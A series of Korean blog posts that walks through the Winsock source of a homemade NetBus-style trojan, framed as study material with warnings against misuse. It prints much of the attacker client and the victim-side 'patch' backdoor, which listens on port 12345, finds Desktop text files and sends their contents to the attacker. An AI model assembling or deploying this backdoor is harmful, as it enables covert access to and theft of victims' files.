안녕하십니까 이번 포스팅에서는 넷버스를 한 번 동작시켜보겠습니다.

공격자의 넷버스 프로그램입니다. 외양은 오리지널 넷버스랑 흡사합니다.

주소를 입력하고 Connect버튼을 누르면 연결을 시도합니다.

감염자로부터 연결이 실패했으면 위와 같이 나타납니다.

이번에는 patch를 실행해봅시다.

코드의 listen함수를 호출하고 나면 위와 같이 보안 경고 창이 뜹니다. listen함수에 의해 12345 포트가 열려버렸으므로 이 포트에 대한 통신을 허용할 것인가 아닌가를 정할 수 있습니다. 

지금은 localhost로 통신을 시도하는 것이므로 딱히 액세스를 허용하지 않아도 문제가 없지만 다른 호스트와 통신을 할 경우 감염자의 PC에서 액세스를 허용시키지 않는다면 기능이 정상적으로 작동하지 않을 수 있습니다.

TCPView프로그램으로 살펴보면 patch프로그램에서 소켓이 12345포트로 데이터를 받을 준비가 되어있다고 뜹니다. State를 보면 LISTENING라고 되어 있는것이 보이시지요?

이번에는 공격자에서 연결을 시도해보겠습니다. patch가 동작되어 있는 상태에서 localhost로 통신을 시도하면 연결이 되었다는 문구와 함께 감염자의 PC에 명령을 내릴 수 있는 버튼들이 활성화됩니다.

TCPview를 살펴보면 소켓이 하나 더 생성된 것을 볼 수 있으며 그 소켓은 localhost와 통신을 하는 것을 볼 수 있습니다. localhost의 55477포트에서 데이터를 전송하면 자신의 12345포트에서 데이터를 받는 것이지요. 반대로 자신의 12345포트에서 데이터를 전송하면 localhost는 55477포트로 데이터를 받습니다.

이번에는 한 번 파일을 찾아보겠습니다. 파일찾기 버튼을 누르면 우리가 리소스에서 만든 대화상자가 호출됩니다. 여기서 텍스트파일 버튼을 누르면 시간이 조금 지난 후 파일을 다 찾았다는 메세지박스가 나타납니다.

생성된 파일을 한 번 열어봅시다.

감염자의 바탕화면에 있는 txt파일을 모두 찾는 것을 볼 수 있습니다.

이번에는 찾은 파일 경로를 이용하여 복사를 시켜보겠습니다. 파일 복사 버튼을 눌러 대화상자를 호출한 후 복사할 파일 경로를 적고 확인 버튼을 누르면 시간이 조금 지난 후 복사된 파일이 넷버스 복사물이란 폴더 안에 생성됩니다. 

넷버스 복사물 폴더를 살펴보시면 경로명과 일치하는 파일이 복사된 것을 확인할 수 있습니다.

그리고 앞에서 말씀드렸다시피 감염자의 IP가 사설IP면 공격자와 감염자가 같은 네트워크 상에 있지 않는 한 위의 프로그램으론 통신이 불가능합니다.

추가로 TCPview 프로그램 대신 cmd의 netstat -a명령어를 이용하여 통신 상태를 확인할 수 있습니다.

위의 사진은 포트가 열린 상태입니다.

위의 사진은 연결이 된 상태입니다. patch프로그램을 재시작했기 때문에 포트번호는 앞에 나온 TCPview와 다를 수 있습니다.

그리고 마지막으로 다시 한번 강조하지만 절대 악용하지 마시길 바랍니다.

이상으로 포스팅을 마치겠습니다.

Posted by englishmath

안녕하십니까 이번 포스팅에서는 감염자의 PC에서 쓰이는 패치의 코드를 한 번 살펴보겠습니다.

다만 앞 포스팅에서도 언급하였듯이 다음과 같은 주의사항을 꼭 숙지해주시기 바랍니다.

1. 이번에 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.

2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.

3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.

자 이제 코드를 하나씩 살펴봅시다.

- #include <winsock2.h>

  #include "resource.h"

  #pragma comment(lib, "Ws2_32.lib")

  #define WM_SOCKET WM_USER+1

  typedef struct SR_Str

 {

char str[100];

char str2[256];

char txtStrings[500][256];

int size;

char string[500000];


  }SR_String;

이 부분은 공격자(넷버스)의 코드랑 동일하므로 생략하겠습니다.

- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);

윈도우 프로시저함수를 선언합니다.

- int _strcmp(char *str1);

  void txtfileSend(void);

  void txtfileCopy(void);

앞서 설명한 함수들을 선언합니다.

- SOCKET G_Socket,G_AcceptS;

클라이언트(공격자) 코드하고는 다르게 소켓 변수를 2개 선언합니다. 이유는 서버측(피해자)에서는 연결 요청을 받는 소켓과 연결을 할 소켓, 이렇게 2개의 소켓이 필요하기 때문입니다.

- SR_String G_String;

앞에서 정의한 구조체 변수를 선언합니다.

- int G_txtfileSend_i = 0;

  TCHAR G_PATH[500] = L"";

파일들의 경로를 찾을 때 그 경로를 저장할 TCHR형 전역변수와 파일 경로의 개수를 저장할 int형 전역변수를 선언합니다.

WinMain함수는 간단하니 생략하겠습니다. 바로 윈도우 프로시저 함수를 살펴봅시다.

- WSADATA socketdata = {0};

  struct sockaddr_in socketaddr = {0};

소켓통신에 필요한 변수들을 선언합니다. 이 부분은 넷버스랑 동일하니 설명은 생략하겠습니다.

- u_long Mode = 0;

ioctlsocket함수를 사용하기 위해 선언한 변수입니다.

- int soketsize,Recvstr;

accept함수 사용을 위한 soketsize변수와 recv함수로 받은 데이터 크기를 저장할 변수 Recvstr를 선언합니다.

- TCHAR user[256] = L"";

  DWORD usersize;

GetUserName함수를 사용하기 위해 선언한 변수입니다..

- switch (message)

case WM_CREATE:

WM_CREATE메세지를 받았을 때 아래의 코드를 수행합니다.

- GetUserName(user,&usersize);

GetUserName함수를 호출하여 현재 감염자의 사용자 계정 명을 구해서 user에 저장시킵니다.

- wsprintf(G_PATH,L"C:\\Users\\%s\\Desktop\\",user);

사용자 명을 이용하여 G_PATH변수에 바탕화면의 경로를 집어넣습니다.

- WSAStartup(MAKEWORD(2,2),&socketdata);

  G_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

winsock DLL을 초기화시키고 소켓을 생성합니다.

- socketaddr.sin_family = AF_INET;

  socketaddr.sin_addr.S_un.S_addr = htons(INADDR_ANY);

  socketaddr.sin_port = htons(12345);

socketaddr구조체의 각 멤버에 값을 넣습니다. 다만 이 소켓은 요청을 하는 소켓이 아닌 요청을 받는 소켓이기 때문에 S_addr멤버의 값에 htons(INADDR_ANY)값을 넣어줍니다. INADDR_ANY는 자기 자신의 ip주소를 자동으로 찾아주는 매크로 상수를 의미합니다.

추가로 INADDR_ANY 상수를 멤버값에 집어넣은 뒤 bind함수를 사용하면 각각 다른 ip에서 전송한 데이터를 이 소켓에서 받을 수가 있습니다.

- bind(G_Socket,(struct sockaddr *)&socketaddr,sizeof(socketaddr));

bind함수를 사용하여 G_Socket을 바인딩합니다. 즉 socketaddr구조체의 멤버변수 값을 이용하여 소켓에 주소와 포트번호를 등록한다는 것이지요. 공격자의 소켓하고는 다르게 이 프로그램은 요청을 받는 소켓을 만들어야 하기 때문에 bind함수를 써서 등록시키는 것입니다. 인자는 공격자(넷버스) 코드에 쓰인 Connect함수와 동일합니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,FD_ACCEPT);

WM_SOCKET메세지를 받아 FD_ACCEPT이벤트를 처리할 수 있도록 하기 위해WSAAsyncSelect함수를 호출합니다.

- listen(G_Socket,SOMAXCONN);

listen함수를 호출합니다. 이 함수를 자세히 살펴봅시다.

이 함수는 해당 소켓의 상태를 수신 상태로 만들어주는 역할을 합니다. 첫 번째 인자는 해당 소켓이며 두번 째 인자는 대기 큐의 크기값입니다.

대기큐라는 것은 여러 소켓으로부터 연결요청이 들어왔을 경우 순서대로 처리가 될대까지 서버가 만들어 놓은 대기실에서 대기를 하게 되는데 이 때 이 대기실을 대기 큐라고 합니다. 그리고 그 대기큐는 크기를 설정할 수 있는데 이 때 인자로 SOMAXCONN값을 받으면 대기큐는 지정할 수 있는 최대 크기로 만들어집니다.

아무튼 이 함수가 성공적으로 호출이 되면 해당 소켓은 듣기 상태인 LISTEN상태가 되어집니다.

- accept(G_Socket,NULL,NULL);

듣기 상태가 된 소켓을 인자로 받아 요청을 받는 함수인 accept함수를 호출합니다.앞에 호출한 WSAAsyncSelect함수에 의해 비블로킹 방식으로 지정된 소켓으로 accept함수를 호출하였으므로 나중에 연결요청을 받으면 WM_SOCKET메세지의FD_ACCEPT이벤트에서 처리를 하게 됩니다.

한가지 특이한 점이 있다면 첫번째 소켓을 제외한 나머지 인자값들은 NULL로 주었다는 점입니다. 왜냐하면 이 부분의 accept함수에서는 실제로 연결할 목적이 아닌 요청만을 받아들기 위해 사용하였기 때문에 따로 인자값을 주지 않았습니다. 그리고 나중에 실제로 요청이 들어왔을 경우 FD_ACCEPT이벤트에서 다시 accept함수를 호출하여 실제로 요청된 소켓과 연결합니다.

- case WM_SOCKET:

switch(WSAGETSELECTEVENT(lParam))

WM_SOCKET메세지를 받았을 때 이벤트에 따라 처리를 다르게 합니다.

- case FD_ACCEPT:

앞의 accept함수에 의해 요청을 받게 된 경우 아래의 코드를 수행합니다.

- soketsize = sizeof(socketaddr);

socketaddr구조체의 크기를 soketsize에 저장시킵니다.

- G_AcceptS = accept((SOCKET)wParam,(struct sockaddr *)&socketaddr,&soketsize);

요청이 들어온 소켓(wParam)과의 연결을 위해 다시 accept함수를 호출합니다. 인자는 소켓구조체의 포인터와 소켓구조체 크기의 포인터입니다.

함수가 성공적으로 호출되면 연결된 소켓은 G_AcceptS 소켓이 됩니다. 즉 앞의 G_Socket은 요청을 받기 위한 1차 소켓(LISTEN)이며 G_AcceptS 소켓은 실제로 연결된 소켓을 의미합니다. 그러므로 공격자와 서로 통신을 할 경우 G_AcceptS 소켓을 이용합니다.

- WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

연결이 된 G_AcceptS소켓이 FD_READ와 FD_CLOSE 이벤트를 받을 수 있도록 설정합니다.

- case FD_READ:

WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,0);

ioctlsocket(G_AcceptS,FIONBIO,&Mode);

memset(&G_String,0,sizeof(G_String));

Recvstr = recv(G_AcceptS,(char *)&G_String,sizeof(G_String),MSG_WAITALL);

if(Recvstr < 0)

break;

클라이언트(공격자)로부터 데이터를 받았을 경우 위와 같이 코드를 수행합니다. 원리는 넷버스에서 설명한 것과 동일합니다.

- switch(_strcmp(G_String.str))

요청한 내용에 따라 처리를 다르게 해줍니다.

- case 0:

str멤버 변수의 값이 filefind - txt 일 경우 아래의 코드를 수행합니다.

- txtfileSend();

  strcpy(G_String.str,"filefind - txt");

  send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

txtfileSend함수를 호출하여 텍스트 파일들의 경로를 찾아 G_String의 멤버 변수에 저장시키고 str멤버변수에 filefind - txt값을 넣어 클라이언트(공격자)로 데이터를 전송합니다.

- GetUserName(user,&usersize);

  wsprintf(G_PATH,L"C:\\Users\\%s\\Desktop\\",user);

  G_txtfileSend_i = 0;

전송이 완료되면 G_PATH와 G_txtfileSend_i를 초기값으로 되돌립니다.

- case 1:

str멤버 변수의 값이 Capture 일 경우의 처리부문인데 아직 구현하진 않았습니다.

- case 2:

txtfileCopy();

str멤버 변수의 값이 filecopy - txt인 경우 txtfileCopy함수를 호출합니다.

- case 3:

str멤버 변수의 값이 filecopy - mallocComplete인 경우의 처리 부문인데 아직 구현하진 않았습니다.

- case 999:

그 외의 값이라면 아무런 처리를 하지 않습니다.

- WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

하나의 메세지처리가 끝나면 다시 G_AcceptS를 비블로킹으로 전환시킵니다.

이상으로 patch 코드 포스팅을 마치겠습니다.

다음 포스팅에선 만든 넷버스와 patch프로그램을 한 번 사용해보겠습니다.

Posted by englishmath

안녕하십니까 이번 포스팅에서는 넷버스(공격자) 소스 코드를 포스팅하겠습니다.

다만 앞 포스팅에서도 언급하였듯이 다음과 같은 주의사항을 꼭 숙지해주시기 바랍니다.

1. 이번에 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.

2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.

3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.

자 이제 한 번 코드를 하나씩 살펴봅시다.

- #include <winsock2.h>

윈도우 소켓과 관련된 함수를 쓰기 위해 윈속 헤더파일을 선언합니다.

- #pragma comment(lib, "Ws2_32.lib")

소켓 관련 라이브러리인 Ws2_32.lib을 링커에 추가합니다.

- #define connectbutton 1

  #define filefindbutton 2

  #define capturebutton 3

  #define filecopybutton 4

넷버스에 쓰이는 버튼들의 ID를 define문으로 정의합니다.

#define WM_SOCKET WM_USER+1

소켓 관련 메세지를 받기 위해 WM_SOCKET이란 메세지를 WM_USER를 이용하여 정의합니다. 이 때 WM_USER은 사용자가 메세지를 정의할 때 사용하며 기본값은 400입니다. 즉 위의 WM_SOCKET을 디버깅으로 살펴보면 401로 정의되어집니다.

typedef struct SR_Str

{

char str[100];

char str2[256];

char txtStrings[500][256];

int size;

char string[500000];

}SR_String;

소켓 통신에 사용할 메세지를 구조체로 정의합니다. 각각 다른 메세지를 받아 통신을 함으로써 처리를 다양하게 해주기 위해 선언하였습니다.

각 멤버변수의 역할은 다음과 같습니다.

str1 -> 받은 명령을 구분할 때 사용합니다.

str2 -> 256 이하의 문자열을 처리할때 사용합니다.

txtStrings -> 파일들의 경로를 저장받기 위한 배열(최대 500개, 경로 문자열 제한은 256)입니다.

size -> 파일 크기를 받는 멤버인데 현재 코드에서는 직접적으로 사용하지 않습니다.

string -> 파일의 내용을 복사할 때 파일의 내용을 저장받기 위한 배열이며 최대 50만 바이트까지 저장할 수 있습니다.

- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);

  BOOL WINAPI FilefindDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);

  BOOL WINAPI FilecopyDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);

윈도우 프로시저와 대화상자 프로시저를 선언합니다.

- void Sconnect(char *address,int port);

  int _strcmp(char *str1);

  void createTXT(char str[][256]);

  void copyTXT(void);

앞에서 설명드린 함수들을 선언합니다.

- HWND G_connectB,G_combobox,G_CResult,G_Port,G_findfile,G_Capture,G_fileCopy;

넷버스에 쓰인 버튼들의 핸들을 저장하기 위해 전역변수로 선언합니다.

- HWND G_Mainhwnd,G_filefindDlg,G_fileCopyDlg;

메인 윈도우의 핸들과 대화상자의 핸들들을 저장하기 위해 전역변수로 선언합니다.

- HINSTANCE G_hInstance;

WinMain의 HINSTANCE 인자값을 전역변수로 쓰기 위해 사용합니다. 

- SOCKET G_Socket;

소켓통신을 위해 소켓형 변수를 전역변수로 선언합니다.

- SR_String G_String;

앞에서 정의한 구조체를 전역변수로 선언합니다.

WinMain의 함수는 딱히 설명할 부분이 없으므로 그냥 생략하겠습니다. WndProc함수를 살펴봅시다.

- HDC hdc;

  PAINTSTRUCT ps;

WM_PAINT 메세지에서 코드사용을 위해 선언한 변수들입니다.

- int str_len,Recvstr;

유니코드를 멀티바이트로 변환하기 위한 str_len과 소켓 통신으로 인해 받은 데이터의 크기를 저장할 변수 Recvstr를 선언합니다.

- u_long Mode = 0;

ioctlsocket함수의 인자로 사용하기 위해 Mode란 변수를 선언과 동시에 0으로 값을 줍니다.

- TCHAR Wide_address[100] = L"",CResultStr[100] = L"", TCHAR Port_address[100] = L"";

유니코드로 읽어온 IP주소를 저장할 변수인 Wide_address와 통신의 결과를 출력할 때 쓰일 CResultStr변수, 그리고 유니코드로 읽어온 port값을 저장할 변수인 Port_address를 선언합니다.

- char Mult_address[100] = "";

멀티바이트로 변환한 IP주소를 저장할 변수를 선언합니다.

- case WM_CREATE:

윈도우에서 WM_CREATE메세지를 받았을 때 아래의 코드를 수행합니다.

- G_Mainhwnd = hWnd;

현재 핸들을 전역변수에 저장시킵니다.

- G_combobox = CreateWindow(L"combobox",NULL,WS_CHILD | WS_VISIBLE | WS_VSCROLL | CBS_DROPDOWN,210,10,150,100,hWnd,NULL,NULL,NULL);

IP주소를 입력받기 위해 콤보박스 윈도우를 생성합니다. 콤보박스 윈도우에 사용된 옵션은 다음과 같습니다.

WS_VSCROLL -> CBS_DROPDOWN옵션으로 생성된 버튼을 누를시 목록을 출력

CBS_DROPDOWN -> 콤보박스의 옆에 역삼각형 버튼을 생성

- G_connectB = CreateWindow(L"button",L"Connect",WS_CHILD | WS_VISIBLE,370,40,80,20,hWnd,(HMENU)connectbutton,NULL,NULL);

소켓통신을 시작한다는 명령을 받기 위한 Connect버튼을 생성합니다. 이때 ID는 define에서 정의한 값입니다.

- G_CResult = CreateWindow(L"static",L"NO connection",WS_CHILD | WS_VISIBLE,0,237,455,20,hWnd,NULL,NULL,NULL);

소켓 통신의 결과를 사용자에게 알려주기 위해 static윈도우를 생성합니다. 기본값은 NO connection입니다.

- G_Port = CreateWindow(L"edit",L"12345",WS_CHILD | WS_VISIBLE | WS_BORDER,400,10,50,20,hWnd,NULL,NULL,NULL);

포트주소를 입력받기 위해 콤보박스 윈도우를 생성합니다. 기본값은 12345입니다.

- G_findfile = CreateWindow(L"button",L"파일찾기",WS_CHILD | WS_VISIBLE,0,100,105,25,hWnd,(HMENU)filefindbutton,NULL,NULL);

  G_Capture = CreateWindow(L"button",L"화면캡쳐",WS_CHILD | WS_VISIBLE,0,130,105,25,hWnd,(HMENU)capturebutton,NULL,NULL);

  G_fileCopy = CreateWindow(L"button",L"파일복사",WS_CHILD | WS_VISIBLE,0,160,105,25,hWnd,(HMENU)filecopybutton,NULL,NULL);

감염자의 소켓에 명령을 내리기 위해 사용하는 버튼들을 생성합니다. 이 중 화면캡쳐는 구현하지 않았습니다.

- EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

모든 버튼들을 생성시킨 후 감염자의 소켓에 명령을 내리는 버튼들을 비활성화 시킵니다. 이 버튼들은 나중에 감염자와의 통신이 성공하면 활성화 됩니다.

- case WM_DESTROY:

PostQuitMessage(0);

윈도우 창이 파괴되면 프로그램을 종료합니다.

- case WM_COMMAND:

switch(LOWORD(wParam))

각각 버튼을 눌렀을 때의 처리입니다.

- case connectbutton:

감염자와 통신을 시도하기 위해 connectbutton을 눌렀을 경우 아래의 코드를 수행합니다.

- SendMessage(G_connectB,WM_GETTEXT,100,(LPARAM)&Wide_address);

G_connectB에 WM_GETTEXT메세지를 보내 현재 버튼에 적용된 텍스트를 가져와 Wide_address에 저장시킵니다.

- if(lstrcmp(Wide_address,L"Connect") == 0)

가져온 텍스트가 Connect일 경우 즉 사용자가 Connect가 적힌 connectbutton을 눌렀을 경우 아래의 코드를 수행합니다.

- EnableWindow(G_connectB,FALSE);

connectbutton을 비활성화시킵니다.

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

G_combobox로부터 IP주소를 가져와 Wide_address에 저장시킵니다.

- wsprintf(CResultStr,L"connecting to %s...",Wide_address);

Wide_address값을 이용하여 CResultStr배열에 connecting to %s...형식으로 문자열을 저장시킵니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"connecting");

connectbutton의 텍스트를 connecting으로 바꿉니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

G_CResult(static)컨트롤의 문자열을 CResultStr에 저장된 문자열로 수정합니다.

- str_len = WideCharToMultiByte(949,NULL,Wide_address,lstrlen(Wide_address),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(949,NULL,Wide_address,lstrlen(Wide_address),Mult_address,str_len,NULL,NULL);

유니코드로 저장된 IP주소를 멀티바이트로 변환시켜 Mult_address에 저장합니다.

- SendMessage(G_Port,WM_GETTEXT,100,(LPARAM)Port_address);

G_Port로부터 입력된 포트번호를 가져와 Port_address에 저장시킵니다.

- Sconnect(Mult_address,_wtoi(Port_address));

Sconnect함수를 호출합니다. 이 때 인자는 멀티바이트로 변환된 IP주소와 포트번호입니다. 그런데 여기서 받은 포트번호는 유니코드 문자열이므로 이를 int형으로 바꿔주기 위해 _wtoi함수를 사용하였습니다.

- else

사용자가 connectbutton을 눌렀을 때의 connectbutton텍스트가 Connect가 아닐 경우 아래의 코드를 수행합니다. 즉 이부분은 공격자와 감염자의 연결을 끊는 부분입니다. 

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

connectbutton의 텍스트를 원래 기본값인 Connect로 복구시킵니다.

- shutdown(G_Socket,SD_SEND);

연결된 소켓에 SD_SEND메세지를 보내 소켓의 연결을 끊습니다.

- closesocket(G_Socket);

  WSACleanup();

연결을 끊은 소켓을 종료하고 WSACleanup함수를 호출하여 WSAStartup함수 사용을 중지합니다. 

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)L"NO connection");

G_CResult의 문자열을 기본값인 NO connection으로 복구시킵니다.

- EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

감염자의 소켓에 명령을 보내는 버튼들을 비활성화합니다.

- case filefindbutton:

 DialogBox(G_hInstance,MAKEINTRESOURCE(IDD_DIALOG1),hWnd,FilefindDlgProc);

감염자의 PC에서 파일을 찾으라는 명령어를 보내기 위해 파일 찾기 버튼을 눌렀을 때해당 대화상자를 호출합니다. 다만 대화상자가 열린 상태에서 메인 윈도우를 조작할 수 없게 하기 위해 모달형 대화상자로 호출하였습니다.

모달형 대화상자를 호출하려면 DialogBox함수를 사용합니다.

- case capturebutton:

화면캡쳐 버튼을 눌렀을 경우의 처리부문인데 아직 구현하지 않았습니다.

- case filecopybutton:

DialogBox(G_hInstance,MAKEINTRESOURCE(IDD_DIALOG2),hWnd,FilecopyDlgProc);

찾은 파일 경로를 이용하여 파일을 복사시키라는 명령어를 보내기 위해 파일 복사 버튼을 눌렀을 때 해당 대화상자를 모달형으로 호출합니다.

- case WM_SOCKET:

소켓 관련 이벤트를 받았을 때 윈도우는 앞의 WSAAsyncSelect함수에 의해 WM_SOCKET메세지를 발생시키게 됩니다. 이 때 아래의 코드를 수행합니다.

- switch(WSAGETSELECTEVENT(lParam))

lParam값을 WSAGETSELECTEVENT함수를 사용해 이벤트를 추출하고 그 이벤트에 따라 각각의 코드가 수행됩니다.

추가로 설명드리자면 WM_SCOKET메세지를 받았을 경우 wParam은 해당 이벤트가 발생한 소켓을 나타내며 lParam은 발생한 소켓의 이벤트 혹은 에러메세지를 나타냅니다. 

- case FD_CONNECT:

FD_CONNECT이벤트가 발생했을 경우 아래의 코드를 수행합니다. FD_CONNECT이벤트는 서버로 연결을 시도했을 때 발생하는 이벤트입니다.

- if(WSAGETSELECTERROR(lParam) == 0)

이번엔 WSAGETSELECTERROR함수를 사용하여 lParam에서 에러를 추출합니다. 만약 아무런 에러가 발생하지 않았다면 해당 소켓이 성공적으로 서버에 연결된 것을 의미하며 아래의 코드를 수행합니다. 

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

G_combobox컨트롤에서 사용자가 입력한 IP주소 값을 읽어와 Wide_address에 저장시킵니다.

- wsprintf(CResultStr,L"Connected to %s",Wide_address);

Wide_address값을 이용하여 CResultStr배열에 Connected to %s 형식으로 저장시킵니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

G_CResult 컨트롤에 문자열을 새로 출력함으로써 연결이 성공적으로 되었다는 것을 사용자에게 알립니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Cancel");

  EnableWindow(G_connectB,TRUE);

연결이 성공적으로 완료되었으므로 G_connectB의 버튼의 텍스트를 Connecting에서 Cancel로 바꾼 후 버튼을 활성화 시킵니다.

- EnableWindow(G_findfile,TRUE);

  EnableWindow(G_Capture,TRUE);

  EnableWindow(G_fileCopy,TRUE);

감염자와의 연결이 성공적으로 되었으므로 명령을 내릴 수 있도록 버튼들을 활성화시킵니다.

- else

WSAGETSELECTERROR함수를 사용해 추출한 에러값이 0이 아닐 경우에는 소켓 연결이 실패했다는 것을 의미합니다. 이 때에는 아래의 코드를 수행합니다.

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

  wsprintf(CResultStr,L"Couldn't connect to %s",Wide_address);

IP주소를 가져와 CResultStr에 Couldn't connect to %s 형식으로 문자열을 넣습니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

  EnableWindow(G_connectB,TRUE);

연결이 실패했으므로 Connecting텍스트가 적힌 버튼을 초기값인 Connect로 수정하고 활성화시킵니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

  closesocket(G_Socket);

  WSACleanup();

사용자에게 연결이 실패했다는 것을 알리고 소켓 사용을 종료합니다.

- case FD_READ:

이번엔 FD_READ 이벤트를 받았을 때의 처리입니다. FD_READ는 상대방의 소켓으로부터 데이터를 받았을 때 발생하는 메세지입니다. 이 때에는 아래의 코드를 수행합니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,0);

WSAAsyncSelect함수를 다시 호출합니다. 이 때 마지막 인자의 값을 0으로 주어 앞에서 호출한 WSAAsyncSelect함수를 중지시킵니다. 이러한 작업을 해주는 이유는 바로 다음코드에 ioctlsocket함수를 호출하기 위해서입니다.

- ioctlsocket(G_Socket,FIONBIO,&Mode);

ioctlsocket함수를 호출합니다. ioctlsocket함수를 살펴봅시다.

해당 소켓의 입출력모드를 제어하는 함수라고 되어있습니다. 쉽게 얘기하면 소켓의 동작 방식을 지정해주는 함수라고 보시면 됩니다.

기본적으로 소켓은 블로킹 방식 혹은 비블로킹 방식으로 작동합니다. 간단하게 두 방식의 특징을 살펴봅시다.

먼저 블로킹 방식이란 소켓으로 통신을 시도할 때 다른 작업을 할 수 없도록 하는 방식입니다. 예를 들면 소켓이 통신을 시도하고 있는 중이라면 메인 윈도우의 닫기 작업을 수행할 수 없다는 것이지요. 즉 스레드가 대기상태가 되버립니다.

반대로 비블로킹 방식은 소켓이 통신을 시도할 때 다른 작업을 할 수 있도록 하는 방식입니다. 그리고 이 방식은 WSAAsyncSelect함수를 호출할 때 자동으로 소켓에 지정되는 방식입니다.

자 그렇다면 ioctlsocket함수는 무엇일까요? 이 함수는 소켓을 블로킹모드 혹은 비블로킹모드로 설정해주는 함수라고 보시면 됩니다. 두 번째 인자에서 FIONBIO값을 주면 해당 소켓의 동작 방식을 바꿀수가 있으며 세번째 인자의 값이 0이면 블로킹모드, 0이 아니면 비블로킹모드로 바꿔집니다. 다만 세번째 인자는 포인터값을 받으므로 0값이 저장된 변수를 선언하여 그 변수의 포인터값을 인자로 주었습니다. 

그리고 이 함수는 좀 특별한 특징을 가지고 있는데 그 특징은 다음과 같습니다.

1. WSAAsyncSelect함수나 WSAEventSelect함수가 호출 된 후 시도하는 모든     ioctlsocket함수는 실패합니다.

2. 1번의 문제를 해결할려면 WSAAsyncSelect함수의 네번째 인자를 0으로 준 뒤 한 번 더 호출한 후 ioctlsocket함수를 호출하여야합니다.

얘기가 조금 길어졌습니다만 최종적으로 정리하면 이 코드는 해당 소켓을 블로킹모드로 바꾸어주는 역할을 합니다. 왜 소켓을 블로킹 모드로 바꾸는지는 recv함수에서 설명드리겠습니다.

- memset(&G_String,0,sizeof(G_String));

앞에서 선언한 구조체를 초기화시킵니다.

- Recvstr = recv(G_Socket,(char *)&G_String,sizeof(G_String),MSG_WAITALL);

recv함수를 사용하여 해당 소켓이 받은 데이터를 읽습니다. 이 recv함수를 살펴봅시다.

말그대로 소켓에 들어온 데이터를 받는 함수입니다. 즉 상대방 측에서 send함수를 사용하여 소켓에 데이터를 보내면 받는 쪽에서는 recv함수를 사용하여 데이터를 받는 것입니다. 이 때 받은 데이터를 저장하는 변수는 2번째 인자이며 char형으로 받습니다. 세번째 인자는 2번째 인자의 크기이며 네번째 인자는 관련된 옵션을 지정해 줄 수가 있습니다.

여기서 중요한 것은 2번째 인자가 char형이라서 char형 변수만 인자로 쓸수 있는 것은 아니라 구조체 같은 변수도 강제형변환을 해서 받을 수가 있습니다. 다만 이 경우에는 보내는 쪽에서도 같은 구조체 형식으로 데이터를 보내야 합니다. 우리는 이 방식을 이용해 통신을 할 것입니다.

또 하나를 더 살펴봐야 할 부분이 있는데 그것은 네번째 인자의 MSG_WAITALL값입니다. 이 값을 설명하기 전에 TCP 통신의 특징을 한 번 살펴봅시다.

보통 TCP 소켓 통신은 스트림으로 이루어집니다. 이 때 스트림의 특징은 경계가 없다는 것인데 이게 문제가 되는 것이 뭐냐면 송신자 측에서 수신자 측으로 10바이트의 데이터를 보낸다면 수신자측에서는 10바이트 데이터를 한번에 받을 수도 있고 못받을 수도 있다는 것이지요.

10 바이트 전송 -> 10 바이트 받음

10 바이트 전송 -> 5 바이트 받음 -> 5바이트 받음

10 바이트 전송 -> 1 바이트 받음 -> 9바이트 받음

이런 식이 된다는 뜻입니다. 경계가 없기 때문에 데이터를 얼만큼 받아야 하는지 모르는 것이지요.  이를 프로그래밍으로 다시 한번 살펴본다면

send(10바이트) -> recv(10바이트)

send(10바이트) -> recv(5바이트) -> recv(5바이트)

send(10바이트) -> recv(1바이트) -> recv(9바이트) 

가 되겠군요. 그래서 보통은 반복문을 사용하여 데이터를 다 받을 때까지 recv를 호출할 수 있도록 프로그래밍을 하지만 우리는 구조체를 이용해 통신을 하기 때문에 이런 방법도 통하지 않습니다. 이 때 필요한 것이 바로 recv 네번째 인자의 옵션인 MSG_WAITALL입니다.

